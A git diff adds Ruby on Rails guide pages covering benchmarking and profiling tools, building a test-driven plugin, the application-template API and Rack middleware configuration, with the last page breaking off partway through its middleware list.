+<shell>
+Usage: rails benchmarker 'Ruby.code' 'Ruby.more_code' ... [OPTS]
+    -r, --runs N                     Number of runs.
+                                     Default: 4
+    -o, --output PATH                Directory to use when writing the results.
+                                     Default: tmp/performance
+    -m, --metrics a,b,c              Metrics to use.
+                                     Default: wall_time,memory,objects,gc_runs,gc_time
+</shell>
+
+Example:
+
+<shell>
+$ rails benchmarker 'Item.all' 'CouchItem.all' --runs 3 --metrics wall_time,memory
+</shell>
+
+h4. +profiler+
+
+Usage:
+
+<shell>
+Usage: rails profiler 'Ruby.code' 'Ruby.more_code' ... [OPTS]
+    -r, --runs N                     Number of runs.
+                                     Default: 1
+    -o, --output PATH                Directory to use when writing the results.
+                                     Default: tmp/performance
+        --metrics a,b,c              Metrics to use.
+                                     Default: process_time,memory,objects
+    -m, --formats x,y,z              Formats to output to.
+                                     Default: flat,graph_html,call_tree
+</shell>
+
+Example:
+
+<shell>
+$ rails profiler 'Item.all' 'CouchItem.all' --runs 2 --metrics process_time --formats flat
+</shell>
+
+NOTE: Metrics and formats vary from interpreter to interpreter. Pass +--help+ to
+each tool to see the defaults for your interpreter.
+
+h3. Helper Methods
+
+Rails provides various helper methods inside Active Record, Action Controller
+and Action View to measure the time taken by a given piece of code. The method
+is called +benchmark()+ in all the three components.
+
+h4. Model
+
+<ruby>
+Project.benchmark("Creating project") do
+  project = Project.create("name" => "stuff")
+  project.create_manager("name" => "David")
+  project.milestones << Milestone.all
+end
+</ruby>
+
+This benchmarks the code enclosed in the +Project.benchmark("Creating project") do...end+
+block and prints the result to the log file:
+
+<ruby>
+Creating project (185.3ms)
+</ruby>
+
+Please refer to the "API docs":http://api.rubyonrails.org/classes/ActiveSupport/Benchmarkable.html#method-i-benchmark
+for additional options to +benchmark()+.
+
+h4. Controller
+
+Similarly, you could use this helper method inside "controllers.":http://api.rubyonrails.org/classes/ActiveSupport/Benchmarkable.html
+
+<ruby>
+def process_projects
+  benchmark("Processing projects") do
+    Project.process(params[:project_ids])
+    Project.update_cached_projects
+  end
+end
+</ruby>
+
+NOTE: +benchmark+ is a class method inside controllers.
+
+h4. View
+
+And in "views":http://api.rubyonrails.org/classes/ActiveSupport/Benchmarkable.html:
+
+<erb>
+<% benchmark("Showing projects partial") do %>
+  <%= render @projects %>
+<% end %>
+</erb>
+
+h3. Request Logging
+
+Rails log files contain very useful information about the time taken to serve
+each request. Here's a typical log file entry:
+
+<shell>
+Processing ItemsController#index (for 127.0.0.1 at 2009-01-08 03:06:39) [GET]
+Rendering template within layouts/items
+Rendering items/index
+Completed in 5ms (View: 2, DB: 0) | 200 OK [http://0.0.0.0/items]
+</shell>
+
+For this section, we're only interested in the last line:
+
+<shell>
+Completed in 5ms (View: 2, DB: 0) | 200 OK [http://0.0.0.0/items]
+</shell>
+
+This data is fairly straightforward to understand. Rails uses millisecond(ms) as
+the metric to measure the time taken. The complete request spent 5 ms inside
+Rails, out of which 2 ms were spent rendering views and none was spent
+communication with the database. It's safe to assume that the remaining 3 ms
+were spent inside the controller.
+
+Michael Koziarski has an "interesting blog post":http://www.therailsway.com/2009/1/6/requests-per-second
+explaining the importance of using milliseconds as the metric.
+
+h3. Useful Links
+
+h4. Rails Plugins and Gems
+
+* "Rails Analyzer":http://rails-analyzer.rubyforge.org
+* "Palmist":http://www.flyingmachinestudios.com/programming/announcing-palmist
+* "Rails Footnotes":https://github.com/josevalim/rails-footnotes/tree/master
+* "Query Reviewer":https://github.com/dsboulder/query_reviewer/tree/master
+* "MiniProfiler":http://www.miniprofiler.com
+
+h4. Generic Tools
+
+* "httperf":http://www.hpl.hp.com/research/linux/httperf/
+* "ab":http://httpd.apache.org/docs/2.2/programs/ab.html
+* "JMeter":http://jakarta.apache.org/jmeter/
+* "kcachegrind":http://kcachegrind.sourceforge.net/html/Home.html
+
+h4. Tutorials and Documentation
+
+* "ruby-prof API Documentation":http://ruby-prof.rubyforge.org
+* "Request Profiling Railscast":http://railscasts.com/episodes/98-request-profiling - Outdated, but useful for understanding call graphs.
+
+h3. Commercial Products
+
+Rails has been lucky to have a few companies dedicated to Rails-specific
+performance tools. A couple of those are:
+
+* "New Relic":http://www.newrelic.com
+* "Scout":http://scoutapp.com
diff --git a/guides/source/plugins.textile b/guides/source/plugins.textile
new file mode 100644
index 0000000000..fbd317f0c2
--- /dev/null
+++ b/guides/source/plugins.textile
@@ -0,0 +1,430 @@
+h2. The Basics of Creating Rails Plugins
+
+A Rails plugin is either an extension or a modification of the core framework. Plugins provide:
+
+* a way for developers to share bleeding-edge ideas without hurting the stable code base
+* a segmented architecture so that units of code can be fixed or updated on their own release schedule
+* an outlet for the core developers so that they don’t have to include every cool new feature under the sun
+
+After reading this guide you should be familiar with:
+
+* Creating a plugin from scratch
+* Writing and running tests for the plugin
+
+This guide describes how to build a test-driven plugin that will:
+
+* Extend core Ruby classes like Hash and String
+* Add methods to ActiveRecord::Base in the tradition of the 'acts_as' plugins
+* Give you information about where to put generators in your plugin.
+
+For the purpose of this guide pretend for a moment that you are an avid bird watcher.
+Your favorite bird is the Yaffle, and you want to create a plugin that allows other developers to share in the Yaffle
+goodness.
+
+endprologue.
+
+h3. Setup
+
+_"vendored plugins"_ were available in previous versions of Rails, but they are deprecated in
+Rails 3.2, and will not be available in the future. 
+
+Currently, Rails plugins are built as gems, _gemified plugins_. They can be shared across 
+different rails applications using RubyGems and Bundler if desired. 
+
+h4. Generate a gemified plugin.
+
+
+Rails 3.1 ships with a +rails plugin new+ command which creates a
+ skeleton for developing any kind of Rails extension with the ability
+ to run integration tests using a dummy Rails application. See usage
+ and options by asking for help:
+
+<shell>
+$ rails plugin --help
+</shell>
+
+h3. Testing your newly generated plugin
+
+You can navigate to the directory that contains the plugin, run the +bundle install+ command
+ and run the one generated test using the +rake+ command.
+
+You should see:
+
+<shell>
+	2 tests, 2 assertions, 0 failures, 0 errors, 0 skips
+</shell>
+
+This will tell you that everything got generated properly and you are ready to start adding functionality.
+
+h3. Extending Core Classes
+
+This section will explain how to add a method to String that will be available anywhere in your rails application.
+
+In this example you will add a method to String named +to_squawk+. To begin, create a new test file with a few assertions:
+
+<ruby>
+# yaffle/test/core_ext_test.rb
+
+require 'test_helper'
+
+class CoreExtTest < Test::Unit::TestCase
+  def test_to_squawk_prepends_the_word_squawk
+    assert_equal "squawk! Hello World", "Hello World".to_squawk
+  end
+end
+</ruby>
+
+Run +rake+ to run the test. This test should fail because we haven't implemented the +to_squawk+ method:
+
+<shell>
+	  1) Error:
+	test_to_squawk_prepends_the_word_squawk(CoreExtTest):
+	NoMethodError: undefined method `to_squawk' for "Hello World":String
+	    test/core_ext_test.rb:5:in `test_to_squawk_prepends_the_word_squawk'
+</shell>
+
+Great - now you are ready to start development.
+
+Then in +lib/yaffle.rb+ require +lib/core_ext+:
+
+<ruby>
+# yaffle/lib/yaffle.rb
+
+require "yaffle/core_ext"
+
+module Yaffle
+end
+</ruby>
+
+Finally, create the +core_ext.rb+ file and add the +to_squawk+ method:
+
+<ruby>
+# yaffle/lib/yaffle/core_ext.rb
+
+String.class_eval do
+  def to_squawk
+    "squawk! #{self}".strip
+  end
+end
+</ruby>
+
+To test that your method does what it says it does, run the unit tests with +rake+ from your plugin directory.
+
+<shell>
+	3 tests, 3 assertions, 0 failures, 0 errors, 0 skips
+</shell>
+
+To see this in action, change to the test/dummy directory, fire up a console and start squawking:
+
+<shell>
+$ rails console
+>> "Hello World".to_squawk
+=> "squawk! Hello World"
+</shell>
+
+h3. Add an "acts_as" Method to Active Record
+
+A common pattern in plugins is to add a method called 'acts_as_something' to models. In this case, you
+want to write a method called 'acts_as_yaffle' that adds a 'squawk' method to your Active Record models.
+
+To begin, set up your files so that you have:
+
+<ruby>
+# yaffle/test/acts_as_yaffle_test.rb
+
+require 'test_helper'
+
+class ActsAsYaffleTest < Test::Unit::TestCase
+end
+</ruby>
+
+<ruby>
+# yaffle/lib/yaffle.rb
+
+require "yaffle/core_ext"
+require 'yaffle/acts_as_yaffle'
+
+module Yaffle
+end
+</ruby>
+
+<ruby>
+# yaffle/lib/yaffle/acts_as_yaffle.rb
+
+module Yaffle
+  module ActsAsYaffle
+    # your code will go here
+  end
+end
+</ruby>
+
+h4. Add a Class Method
+
+This plugin will expect that you've added a method to your model named 'last_squawk'. However, the
+plugin users might have already defined a method on their model named 'last_squawk' that they use
+for something else. This plugin will allow the name to be changed by adding a class method called 'yaffle_text_field'.
+
+To start out, write a failing test that shows the behavior you'd like:
+
+<ruby>
+# yaffle/test/acts_as_yaffle_test.rb
+
+require 'test_helper'
+
+class ActsAsYaffleTest < Test::Unit::TestCase
+
+  def test_a_hickwalls_yaffle_text_field_should_be_last_squawk
+    assert_equal :last_squawk, Hickwall.yaffle_text_field
+  end
+
+  def test_a_wickwalls_yaffle_text_field_should_be_last_tweet
+    assert_equal :last_tweet, Wickwall.yaffle_text_field
+  end
+
+end
+</ruby>
+
+When you run +rake+, you should see the following:
+
+<shell>
+	  1) Error:
+	test_a_hickwalls_yaffle_text_field_should_be_last_squawk(ActsAsYaffleTest):
+	NameError: uninitialized constant ActsAsYaffleTest::Hickwall
+	    test/acts_as_yaffle_test.rb:6:in `test_a_hickwalls_yaffle_text_field_should_be_last_squawk'
+
+	  2) Error:
+	test_a_wickwalls_yaffle_text_field_should_be_last_tweet(ActsAsYaffleTest):
+	NameError: uninitialized constant ActsAsYaffleTest::Wickwall
+	    test/acts_as_yaffle_test.rb:10:in `test_a_wickwalls_yaffle_text_field_should_be_last_tweet'
+
+	5 tests, 3 assertions, 0 failures, 2 errors, 0 skips
+</shell>
+
+This tells us that we don't have the necessary models (Hickwall and Wickwall) that we are trying to test.
+We can easily generate these models in our "dummy" Rails application by running the following commands from the
+test/dummy directory:
+
+<shell>
+$ cd test/dummy
+$ rails generate model Hickwall last_squawk:string
+$ rails generate model Wickwall last_squawk:string last_tweet:string
+</shell>
+
+Now you can create the necessary database tables in your testing database by navigating to your dummy app
+and migrating the database. First
+
+<shell>
+$ cd test/dummy
+$ rake db:migrate
+$ rake db:test:prepare
+</shell>
+
+While you are here, change the Hickwall and Wickwall models so that they know that they are supposed to act
+like yaffles.
+
+<ruby>
+# test/dummy/app/models/hickwall.rb
+
+class Hickwall < ActiveRecord::Base
+  acts_as_yaffle
+end
+
+# test/dummy/app/models/wickwall.rb
+
+class Wickwall < ActiveRecord::Base
+  acts_as_yaffle :yaffle_text_field => :last_tweet
+end
+
+</ruby>
+
+We will also add code to define the acts_as_yaffle method.
+
+<ruby>
+# yaffle/lib/yaffle/acts_as_yaffle.rb
+module Yaffle
+  module ActsAsYaffle
+    extend ActiveSupport::Concern
+
+    included do
+    end
+
+    module ClassMethods
+      def acts_as_yaffle(options = {})
+        # your code will go here
+      end
+    end
+  end
+end
+
+ActiveRecord::Base.send :include, Yaffle::ActsAsYaffle
+</ruby>
+
+You can then return to the root directory (+cd ../..+) of your plugin and rerun the tests using +rake+.
+
+<shell>
+	  1) Error:
+	test_a_hickwalls_yaffle_text_field_should_be_last_squawk(ActsAsYaffleTest):
+	NoMethodError: undefined method `yaffle_text_field' for #<Class:0x000001016661b8>
+	    /Users/xxx/.rvm/gems/ruby-1.9.2-p136@xxx/gems/activerecord-3.0.3/lib/active_record/base.rb:1008:in `method_missing'
+	    test/acts_as_yaffle_test.rb:5:in `test_a_hickwalls_yaffle_text_field_should_be_last_squawk'
+
+	  2) Error:
+	test_a_wickwalls_yaffle_text_field_should_be_last_tweet(ActsAsYaffleTest):
+	NoMethodError: undefined method `yaffle_text_field' for #<Class:0x00000101653748>
+	    Users/xxx/.rvm/gems/ruby-1.9.2-p136@xxx/gems/activerecord-3.0.3/lib/active_record/base.rb:1008:in `method_missing'
+	    test/acts_as_yaffle_test.rb:9:in `test_a_wickwalls_yaffle_text_field_should_be_last_tweet'
+
+	5 tests, 3 assertions, 0 failures, 2 errors, 0 skips
+
+</shell>
+
+Getting closer... Now we will implement the code of the acts_as_yaffle method to make the tests pass.
+
+<ruby>
+# yaffle/lib/yaffle/acts_as_yaffle.rb
+
+module Yaffle
+  module ActsAsYaffle
+   extend ActiveSupport::Concern
+
+    included do
+    end
+
+    module ClassMethods
+      def acts_as_yaffle(options = {})
+        cattr_accessor :yaffle_text_field
+        self.yaffle_text_field = (options[:yaffle_text_field] || :last_squawk).to_s
+      end
+    end
+  end
+end
+
+ActiveRecord::Base.send :include, Yaffle::ActsAsYaffle
+</ruby>
+
+When you run +rake+ you should see the tests all pass:
+
+<shell>
+	5 tests, 5 assertions, 0 failures, 0 errors, 0 skips
+</shell>
+
+h4. Add an Instance Method
+
+This plugin will add a method named 'squawk' to any Active Record object that calls 'acts_as_yaffle'. The 'squawk'
+method will simply set the value of one of the fields in the database.
+
+To start out, write a failing test that shows the behavior you'd like:
+
+<ruby>
+# yaffle/test/acts_as_yaffle_test.rb
+require 'test_helper'
+
+class ActsAsYaffleTest < Test::Unit::TestCase
+
+  def test_a_hickwalls_yaffle_text_field_should_be_last_squawk
+    assert_equal "last_squawk", Hickwall.yaffle_text_field
+  end
+
+  def test_a_wickwalls_yaffle_text_field_should_be_last_tweet
+    assert_equal "last_tweet", Wickwall.yaffle_text_field
+  end
+
+  def test_hickwalls_squawk_should_populate_last_squawk
+    hickwall = Hickwall.new
+    hickwall.squawk("Hello World")
+    assert_equal "squawk! Hello World", hickwall.last_squawk
+  end
+
+  def test_wickwalls_squawk_should_populate_last_tweet
+    wickwall = Wickwall.new
+    wickwall.squawk("Hello World")
+    assert_equal "squawk! Hello World", wickwall.last_tweet
+  end
+end
+</ruby>
+
+Run the test to make sure the last two tests fail with an error that contains "NoMethodError: undefined method `squawk'",
+then update 'acts_as_yaffle.rb' to look like this:
+
+<ruby>
+# yaffle/lib/yaffle/acts_as_yaffle.rb	
+
+module Yaffle
+  module ActsAsYaffle
+    extend ActiveSupport::Concern
+
+    included do
+    end
+
+    module ClassMethods
+      def acts_as_yaffle(options = {})
+        cattr_accessor :yaffle_text_field
+        self.yaffle_text_field = (options[:yaffle_text_field] || :last_squawk).to_s
+
+        include Yaffle::ActsAsYaffle::LocalInstanceMethods
+      end
+    end
+
+    module LocalInstanceMethods
+      def squawk(string)
+        write_attribute(self.class.yaffle_text_field, string.to_squawk)
+      end
+    end
+  end
+end
+
+ActiveRecord::Base.send :include, Yaffle::ActsAsYaffle
+</ruby>
+
+Run +rake+ one final time and you should see:
+
+<shell>
+	7 tests, 7 assertions, 0 failures, 0 errors, 0 skips
+</shell>
+
+NOTE: The use of +write_attribute+ to write to the field in model is just one example of how a plugin can interact with the model, and will not always be the right method to use. For example, you could also use <tt>send("#{self.class.yaffle_text_field}=", string.to_squawk)</tt>.
+
+h3. Generators
+
+Generators can be included in your gem simply by creating them in a lib/generators directory of your plugin. More information about
+the creation of generators can be found in the "Generators Guide":generators.html
+
+h3. Publishing your Gem
+
+Gem plugins currently in development can easily be shared from any Git repository. To share the Yaffle gem with others, simply
+commit the code to a Git repository (like GitHub) and add a line to the Gemfile of the application in question:
+
+<ruby>
+gem 'yaffle', :git => 'git://github.com/yaffle_watcher/yaffle.git'
+</ruby>
+
+After running +bundle install+, your gem functionality will be available to the application.
+
+When the gem is ready to be shared as a formal release, it can be published to "RubyGems":http://www.rubygems.org.
+For more information about publishing gems to RubyGems, see: "Creating and Publishing Your First Ruby Gem":http://blog.thepete.net/2010/11/creating-and-publishing-your-first-ruby.html
+
+h3. RDoc Documentation
+
+Once your plugin is stable and you are ready to deploy do everyone else a favor and document it! Luckily, writing documentation for your plugin is easy.
+
+The first step is to update the README file with detailed information about how to use your plugin. A few key things to include are:
+
+* Your name
+* How to install
+* How to add the functionality to the app (several examples of common use cases)
+* Warnings, gotchas or tips that might help users and save them time
+
+Once your README is solid, go through and add rdoc comments to all of the methods that developers will use. It's also customary to add '#:nodoc:' comments to those parts of the code that are not included in the public API.
+
+Once your comments are good to go, navigate to your plugin directory and run:
+
+<shell>
+$ rake rdoc
+</shell>
+
+h4. References
+
+* "Developing a RubyGem using Bundler":https://github.com/radar/guides/blob/master/gem-development.md
+* "Using .gemspecs as Intended":http://yehudakatz.com/2010/04/02/using-gemspecs-as-intended/
+* "Gemspec Reference":http://docs.rubygems.org/read/chapter/20
+* "GemPlugins: A Brief Introduction to the Future of Rails Plugins":http://www.intridea.com/blog/2008/6/11/gemplugins-a-brief-introduction-to-the-future-of-rails-plugins
diff --git a/guides/source/rails_application_templates.textile b/guides/source/rails_application_templates.textile
new file mode 100644
index 0000000000..f50ced3307
--- /dev/null
+++ b/guides/source/rails_application_templates.textile
@@ -0,0 +1,215 @@
+h2. Rails Application Templates
+
+Application templates are simple Ruby files containing DSL for adding gems/initializers etc. to your freshly created Rails project or an existing Rails project.
+
+By referring to this guide, you will be able to:
+
+* Use templates to generate/customize Rails applications
+* Write your own reusable application templates using the Rails template API
+
+endprologue.
+
+h3. Usage
+
+To apply a template, you need to provide the Rails generator with the location of the template you wish to apply, using -m option. This can either be path to a file or a URL.
+
+<shell>
+$ rails new blog -m ~/template.rb
+$ rails new blog -m http://example.com/template.rb
+</shell>
+
+You can use the rake task +rails:template+ to apply templates to an existing Rails application. The location of the template needs to be passed in to an environment variable named LOCATION. Again, this can either be path to a file or a URL.
+
+<shell>
+$ rake rails:template LOCATION=~/template.rb
+$ rake rails:template LOCATION=http://example.com/template.rb
+</shell>
+
+h3. Template API
+
+Rails templates API is very self explanatory and easy to understand. Here's an example of a typical Rails template:
+
+<ruby>
+# template.rb
+run "rm public/index.html"
+generate(:scaffold, "person name:string")
+route "root :to => 'people#index'"
+rake("db:migrate")
+
+git :init
+git :add => "."
+git :commit => "-a -m 'Initial commit'"
+</ruby>
+
+The following sections outlines the primary methods provided by the API:
+
+h4. gem(name, options = {})
+
+Adds a +gem+ entry for the supplied gem to the generated application’s +Gemfile+.
+
+For example, if your application depends on the gems +bj+ and +nokogiri+:
+
+<ruby>
+gem "bj"
+gem "nokogiri"
+</ruby>
+
+Please note that this will NOT install the gems for you and you will have to run +bundle install+ to do that.
+
+<ruby>
+bundle install
+</ruby>
+
+h4. gem_group(*names, &block)
+
+Wraps gem entries inside a group.
+
+For example, if you want to load +rspec-rails+ only in +development+ and +test+ group:
+
+<ruby>
+gem_group :development, :test do
+  gem "rspec-rails"
+end
+</ruby>
+
+h4. add_source(source, options = {})
+
+Adds the given source to the generated application's +Gemfile+.
+
+For example, if you need to source a gem from "http://code.whytheluckystiff.net":
+
+<ruby>
+add_source "http://code.whytheluckystiff.net"
+</ruby>
+
+h4. vendor/lib/file/initializer(filename, data = nil, &block)
+
+Adds an initializer to the generated application’s +config/initializers+ directory.
+
+Lets say you like using +Object#not_nil?+ and +Object#not_blank?+:
+
+<ruby>
+initializer 'bloatlol.rb', <<-CODE
+class Object
+  def not_nil?
+    !nil?
+  end
+
+  def not_blank?
+    !blank?
+  end
+end
+CODE
+</ruby>
+
+Similarly +lib()+ creates a file in the +lib/+ directory and +vendor()+ creates a file in the +vendor/+ directory.
+
+There is even +file()+, which accepts a relative path from +Rails.root+ and creates all the directories/file needed:
+
+<ruby>
+file 'app/components/foo.rb', <<-CODE
+class Foo
+end
+CODE
+</ruby>
+
+That’ll create +app/components+ directory and put +foo.rb+ in there.
+
+h4. rakefile(filename, data = nil, &block)
+
+Creates a new rake file under +lib/tasks+ with the supplied tasks:
+
+<ruby>
+rakefile("bootstrap.rake") do
+  <<-TASK
+    namespace :boot do
+      task :strap do
+        puts "i like boots!"
+      end
+    end
+  TASK
+end
+</ruby>
+
+The above creates +lib/tasks/bootstrap.rake+ with a +boot:strap+ rake task.
+
+h4. generate(what, args)
+
+Runs the supplied rails generator with given arguments.
+
+<ruby>
+generate(:scaffold, "person", "name:string", "address:text", "age:number")
+</ruby>
+
+h4. run(command)
+
+Executes an arbitrary command. Just like the backticks. Let's say you want to remove the +public/index.html+ file:
+
+<ruby>
+run "rm public/index.html"
+</ruby>
+
+h4. rake(command, options = {})
+
+Runs the supplied rake tasks in the Rails application. Let's say you want to migrate the database:
+
+<ruby>
+rake "db:migrate"
+</ruby>
+
+You can also run rake tasks with a different Rails environment:
+
+<ruby>
+rake "db:migrate", :env => 'production'
+</ruby>
+
+h4. route(routing_code)
+
+This adds a routing entry to the +config/routes.rb+ file. In above steps, we generated a person scaffold and also removed +public/index.html+. Now to make +PeopleController#index+ as the default page for the application:
+
+<ruby>
+route "root :to => 'person#index'"
+</ruby>
+
+h4. inside(dir)
+
+Enables you to run a command from the given directory. For example, if you have a copy of edge rails that you wish to symlink from your new apps, you can do this:
+
+<ruby>
+inside('vendor') do
+  run "ln -s ~/commit-rails/rails rails"
+end
+</ruby>
+
+h4. ask(question)
+
++ask()+ gives you a chance to get some feedback from the user and use it in your templates. Lets say you want your user to name the new shiny library you’re adding:
+
+<ruby>
+lib_name = ask("What do you want to call the shiny library ?")
+lib_name << ".rb" unless lib_name.index(".rb")
+
+lib lib_name, <<-CODE
+class Shiny
+end
+CODE
+</ruby>
+
+h4. yes?(question) or no?(question)
+
+These methods let you ask questions from templates and decide the flow based on the user’s answer. Lets say you want to freeze rails only if the user want to:
+
+<ruby>
+rake("rails:freeze:gems") if yes?("Freeze rails gems ?")
+no?(question) acts just the opposite.
+</ruby>
+
+h4. git(:command)
+
+Rails templates let you run any git command:
+
+<ruby>
+git :init
+git :add => "."
+git :commit => "-a -m 'Initial commit'"
+</ruby>
diff --git a/guides/source/rails_on_rack.textile b/guides/source/rails_on_rack.textile
new file mode 100644
index 0000000000..63712b22ef
--- /dev/null
+++ b/guides/source/rails_on_rack.textile
@@ -0,0 +1,318 @@
+h2. Rails on Rack
+
+This guide covers Rails integration with Rack and interfacing with other Rack components. By referring to this guide, you will be able to:
+
+* Create Rails Metal applications
+* Use Rack Middlewares in your Rails applications
+* Understand Action Pack's internal Middleware stack
+* Define a custom Middleware stack
+
+endprologue.
+
+WARNING: This guide assumes a working knowledge of Rack protocol and Rack concepts such as middlewares, url maps and +Rack::Builder+.
+
+h3. Introduction to Rack
+
+bq. Rack provides a minimal, modular and adaptable interface for developing web applications in Ruby. By wrapping HTTP requests and responses in the simplest way possible, it unifies and distills the API for web servers, web frameworks, and software in between (the so-called middleware) into a single method call.
+
+- "Rack API Documentation":http://rack.rubyforge.org/doc/
+
+Explaining Rack is not really in the scope of this guide. In case you are not familiar with Rack's basics, you should check out the "Resources":#resources section below.
+
+h3. Rails on Rack
+
+h4. Rails Application's Rack Object
+
+<tt>ApplicationName::Application</tt> is the primary Rack application object of a Rails application. Any Rack compliant web server should be using +ApplicationName::Application+ object to serve a Rails application.
+
+h4. +rails server+
+
+<tt>rails server</tt> does the basic job of creating a +Rack::Server+ object and starting the webserver.
+
+Here's how +rails server+ creates an instance of +Rack::Server+
+
+<ruby>
+Rails::Server.new.tap { |server|
+  require APP_PATH
+  Dir.chdir(Rails.application.root)
+  server.start
+}
+</ruby>
+
+The +Rails::Server+ inherits from +Rack::Server+ and calls the +Rack::Server#start+ method this way:
+
+<ruby>
+class Server < ::Rack::Server
+  def start
+    ...
+    super
+  end
+end
+</ruby>
+
+Here's how it loads the middlewares:
+
+<ruby>
+def middleware
+  middlewares = []
+  middlewares << [Rails::Rack::Debugger]  if options[:debugger]
+  middlewares << [::Rack::ContentLength]
+  Hash.new(middlewares)
+end
+</ruby>
+
++Rails::Rack::Debugger+ is primarily useful only in the development environment. The following table explains the usage of the loaded middlewares:
+
+|_.Middleware|_.Purpose|
+|+Rails::Rack::Debugger+|Starts Debugger|
+|+Rack::ContentLength+|Counts the number of bytes in the response and set the HTTP Content-Length header|
+
+h4. +rackup+
+
+To use +rackup+ instead of Rails' +rails server+, you can put the following inside +config.ru+ of your Rails application's root directory:
+
+<ruby>
+# Rails.root/config.ru
+require "config/environment"
+
+use Rack::Debugger
+use Rack::ContentLength
+run ApplicationName::Application
+</ruby>
+
+And start the server:
+
+<shell>
+$ rackup config.ru
+</shell>
+
+To find out more about different +rackup+ options:
+
+<shell>
+$ rackup --help
+</shell>
+
+h3. Action Dispatcher Middleware Stack
+
+Many of Action Dispatchers's internal components are implemented as Rack middlewares. +Rails::Application+ uses +ActionDispatch::MiddlewareStack+ to combine various internal and external middlewares to form a complete Rails Rack application.
+
+NOTE: +ActionDispatch::MiddlewareStack+ is Rails' equivalent of +Rack::Builder+, but built for better flexibility and more features to meet Rails' requirements.
+
+h4. Inspecting Middleware Stack
+
+Rails has a handy rake task for inspecting the middleware stack in use:
+
+<shell>
+$ rake middleware
+</shell>
+
+For a freshly generated Rails application, this might produce something like:
+
+<ruby>
+use ActionDispatch::Static
+use Rack::Lock
+use #<ActiveSupport::Cache::Strategy::LocalCache::Middleware:0x000000029a0838>
+use Rack::Runtime
+use Rack::MethodOverride
+use ActionDispatch::RequestId
+use Rails::Rack::Logger
+use ActionDispatch::ShowExceptions
+use ActionDispatch::DebugExceptions
+use ActionDispatch::RemoteIp
+use ActionDispatch::Reloader
+use ActionDispatch::Callbacks
+use ActiveRecord::ConnectionAdapters::ConnectionManagement
+use ActiveRecord::QueryCache
+use ActionDispatch::Cookies
+use ActionDispatch::Session::CookieStore
+use ActionDispatch::Flash
+use ActionDispatch::ParamsParser
+use ActionDispatch::Head
+use Rack::ConditionalGet
+use Rack::ETag
+use ActionDispatch::BestStandardsSupport
+run ApplicationName::Application.routes
+</ruby>
+
+Purpose of each of this middlewares is explained in the "Internal Middlewares":#internal-middleware-stack section.
+
+h4. Configuring Middleware Stack
+
+Rails provides a simple configuration interface +config.middleware+ for adding, removing and modifying the middlewares in the middleware stack via +application.rb+ or the environment specific configuration file <tt>environments/&lt;environment&gt;.rb</tt>.
+
+h5. Adding a Middleware
+
+You can add a new middleware to the middleware stack using any of the following methods:
+
+* <tt>config.middleware.use(new_middleware, args)</tt> - Adds the new middleware at the bottom of the middleware stack.
+
+* <tt>config.middleware.insert_before(existing_middleware, new_middleware, args)</tt> - Adds the new middleware before the specified existing middleware in the middleware stack.
+
+* <tt>config.middleware.insert_after(existing_middleware, new_middleware, args)</tt> - Adds the new middleware after the specified existing middleware in the middleware stack.
+
+<ruby>
+# config/application.rb
+
+# Push Rack::BounceFavicon at the bottom
+config.middleware.use Rack::BounceFavicon
+
+# Add Lifo::Cache after ActiveRecord::QueryCache.
+# Pass { :page_cache => false } argument to Lifo::Cache.
+config.middleware.insert_after ActiveRecord::QueryCache, Lifo::Cache, :page_cache => false
+</ruby>
+
+h5. Swapping a Middleware
+
+You can swap an existing middleware in the middleware stack using +config.middleware.swap+.
+
+<ruby>
+# config/application.rb
+
+# Replace ActionDispatch::ShowExceptions with Lifo::ShowExceptions
+config.middleware.swap ActionDispatch::ShowExceptions, Lifo::ShowExceptions
+</ruby>
+
+h5. Middleware Stack is an Enumerable
+
+The middleware stack behaves just like a normal +Enumerable+. You can use any +Enumerable+ methods to manipulate or interrogate the stack. The middleware stack also implements some +Array+ methods including <tt>[]</tt>, +unshift+ and +delete+. Methods described in the section above are just convenience methods.
+
+Append following lines to your application configuration:
+
+<ruby>
+# config/application.rb
+config.middleware.delete "Rack::Lock"
+</ruby>
+
+And now if you inspect the middleware stack, you'll find that +Rack::Lock+ will not be part of it.
+
+<shell>
+$ rake middleware
+(in /Users/lifo/Rails/blog)
+use ActionDispatch::Static
+use #<ActiveSupport::Cache::Strategy::LocalCache::Middleware:0x00000001c304c8>
+use Rack::Runtime
+...
+run Blog::Application.routes
+</shell>
+
+If you want to remove session related middleware, do the following:
+
+<ruby>
+# config/application.rb
+config.middleware.delete "ActionDispatch::Cookies"
+config.middleware.delete "ActionDispatch::Session::CookieStore"
+config.middleware.delete "ActionDispatch::Flash"
+</ruby>
+
+And to remove browser related middleware,
+
+<ruby>
+# config/application.rb
+config.middleware.delete "ActionDispatch::BestStandardsSupport"
+config.middleware.delete "Rack::MethodOverride"
+</ruby>
+
+h4. Internal Middleware Stack
+
+Much of Action Controller's functionality is implemented as Middlewares. The following list explains the purpose of each of them:
+
+ *+ActionDispatch::Static+*
+* Used to serve static assets. Disabled if <tt>config.serve_static_assets</tt> is true.
+
+ *+Rack::Lock+*
+* Sets <tt>env["rack.multithread"]</tt> flag to +true+ and wraps the application within a Mutex.
+
+ *+ActiveSupport::Cache::Strategy::LocalCache::Middleware+*
+* Used for memory caching. This cache is not thread safe.
+
+ *+Rack::Runtime+*
+* Sets an X-Runtime header, containing the time (in seconds) taken to execute the request.
+
+ *+Rack::MethodOverride+*
+* Allows the method to be overridden if <tt>params[:_method]</tt> is set. This is the middleware which supports the PUT and DELETE HTTP method types.
+
+ *+ActionDispatch::RequestId+*
+* Makes a unique +X-Request-Id+ header available to the response and enables the <tt>ActionDispatch::Request#uuid</tt> method.
+
+ *+Rails::Rack::Logger+*
+* Notifies the logs that the request has began. After request is complete, flushes all the logs.
+
+ *+ActionDispatch::ShowExceptions+*
+* Rescues any exception returned by the application and calls an exceptions app that will wrap it in a format for the end user.
+
+ *+ActionDispatch::DebugExceptions+*
+* Responsible for logging exceptions and showing a debugging page in case the request is local.
+
+ *+ActionDispatch::RemoteIp+*
+* Checks for IP spoofing attacks.
+
+ *+ActionDispatch::Reloader+*
+* Provides prepare and cleanup callbacks, intended to assist with code reloading during development.
+
+ *+ActionDispatch::Callbacks+*
+* Runs the prepare callbacks before serving the request.
+
+ *+ActiveRecord::ConnectionAdapters::ConnectionManagement+*
+* Cleans active connections after each request, unless the <tt>rack.test</tt> key in the request environment is set to +true+.
+
+ *+ActiveRecord::QueryCache+*
+* Enables the Active Record query cache.
+
+ *+ActionDispatch::Cookies+*
+* Sets cookies for the request.
+
+ *+ActionDispatch::Session::CookieStore+*
+* Responsible for storing the session in cookies.
+
+ *+ActionDispatch::Flash+*
